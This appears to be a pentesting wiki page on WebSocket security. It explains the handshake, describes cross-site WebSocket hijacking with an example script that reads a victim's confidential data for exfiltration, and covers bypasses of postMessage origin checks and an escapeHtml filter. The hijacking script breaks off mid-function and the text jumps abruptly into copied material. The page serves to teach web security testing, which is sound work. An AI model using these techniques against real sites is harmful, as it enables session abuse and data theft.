Most of the information of this page is from **Portswiggers WebSockets tutorials \(main page:** [**https://portswigger.net/web-security/websockets\#intercepting-and-modifying-websocket-messages**](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)**\)**
## What are WebSockets
WebSocket connections are initiated over **HTTP** and are typically **long-lived**. Messages can be sent in **either direction at any time** and are not transactional in nature. The connection will normally stay open and idle until either the client or the server is ready to send a message.
WebSockets are particularly useful in situations where **low-latency or server-initiated messages** are required, such as real-time feeds of financial data.
## How are WebSocket connections established?
WebSocket connections are normally created using client-side JavaScript like the following:
```javascript
var ws = new WebSocket("wss://normal-website.com/chat");
```
The **`wss`** protocol establishes a WebSocket over an encrypted **TLS** connection, while the **`ws`** protocol uses an **unencrypted** connection.
To establish the connection, the browser and server perform a WebSocket handshake over HTTP. The browser issues a WebSocket handshake request like the following:
```javascript
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
```
If the server accepts the connection, it returns a WebSocket handshake response like the following:
At this point, the network connection remains open and can be used to send WebSocket messages in either direction.
**Note**
Several **features** of the WebSocket **handshake** messages are worth noting:
* The **`Connection`** and **`Upgrade`** headers in the request and response **indicate** that this is a **WebSocket handshake**.
* The **`Sec-WebSocket-Version`** request header specifies the **WebSocket protocol version** that the client wishes to use. This is typically `13`.
* The **`Sec-WebSocket-Key`** request header contains a Base64-encoded **random value**, which should be randomly generated in each handshake request.
* The **`Sec-WebSocket-Accept`** response header contains a hash of the value submitted in the `Sec-WebSocket-Key` request header, concatenated with a specific string defined in the protocol specification. This is done to prevent misleading responses resulting from misconfigured servers or caching proxies.
The **`Sec-WebSocket-Key`** header contains a **random value** to prevent errors from caching proxies, and **is not used for authentication or session handling purposes** \(_It's not a CSRF token_\).
## Cross-site WebSocket hijacking \(CSWSH\)
Also known as _cross-origin WebSocket hijacking_.
**It is a** [**Cross-Site Request Forgery \(CSRF\)**](csrf-cross-site-request-forgery.md) **on a WebSocket handshake.**
It arises when the **WebSocket handshake** request relies solely on **HTTP cookies** for session handling and does **not contain any CSRF tokens** or other unpredictable values.
An attacker can create a **malicious web page** on their own domain which **establishes a cross-site WebSocket** connection to the vulnerable application. The application will handle the connection in the **context of the victim user's session** with the application.
Example of the attack:
```javascript
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
As Web Sockets are a mechanism to **send data to server side and client side**, depending on how the server and client handles the information, **Web Sockets can be used to exploit several other vulnerabilities**:
Copied from [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
* If `indexOf()` is used to check the origin of the PostMessage event, remember that it can be bypassed if the origin is contained in the string as seen in [_The Bypass_](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html#bypass)
* [@filedescriptor](https://twitter.com/filedescriptor): Using `search()` to validate the origin could be insecure. According to the docs of `String.prototype.search()`, the method takes a regular repression object instead of a string. If anything other than regexp is passed, it will get implicitly converted into a regexp.
```text
"https://www.safedomain.com".search(t.origin)
```
In regular expression, a dot \(.\) is treated as a wildcard. In other words, any character of the origin can be replaced with a dot. An attacker can take advantage of it and use a special domain instead of the official one to bypass the validation, such as **www.s.afedomain.com**.
* [@bored-engineer](https://bored.engineer/): If `escapeHtml` function is used, the function does not create a `new` escaped object, instead it over-writes properties of the existing object. This means that if we are able to create an object with a controlled property that does not respond to `hasOwnProperty` it will not be escaped.
```text
// Expected to fail:
result = u({
message: "'\"<b>\\"
});
result.message // "'"<b>\"
// Bypassed:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
```
`File` object is perfect for this exploit as it has a read-only `name` property which is used by our template and will bypass `escapeHtml` function.
